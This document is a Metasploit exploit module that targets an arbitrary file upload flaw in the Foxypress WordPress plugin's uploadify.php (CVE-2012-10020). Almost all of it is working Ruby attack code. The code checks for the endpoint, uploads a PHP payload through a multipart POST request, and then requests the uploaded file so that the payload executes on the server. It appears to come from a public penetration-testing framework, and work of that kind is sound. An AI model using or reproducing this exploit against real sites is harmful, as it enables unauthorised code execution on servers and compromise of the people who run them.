WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
        'Description' => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
          blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
          file upload and remote code execution via the uploadify.php script. The Foxypress
          plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
        },
        'Author' => [
          'Sammy FORGIT', # Vulnerability Discovery, PoC
          'aushack' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-10020'],
          ['EDB', '18991'],
          ['OSVDB' '82652'],
          ['BID', '53805'],
          ['WPVDB', '6231']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
        'DisclosureDate' => '2012-06-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
    )

    return Exploit::CheckCode::Detected('The target service was detected') if res && res.code == 200

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

    print_status("Sending PHP payload")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )

    if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
      print_error("File wasn't uploaded, aborting!")
      return
    end

    filename = "#{Regexp.last_match[1]}.php"

    print_good("Our payload is at: #{filename}. Calling payload...")
    register_files_for_cleanup(filename)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
    )

    print_error("Server returned #{res.code}") if res && res.code != 200
  end
end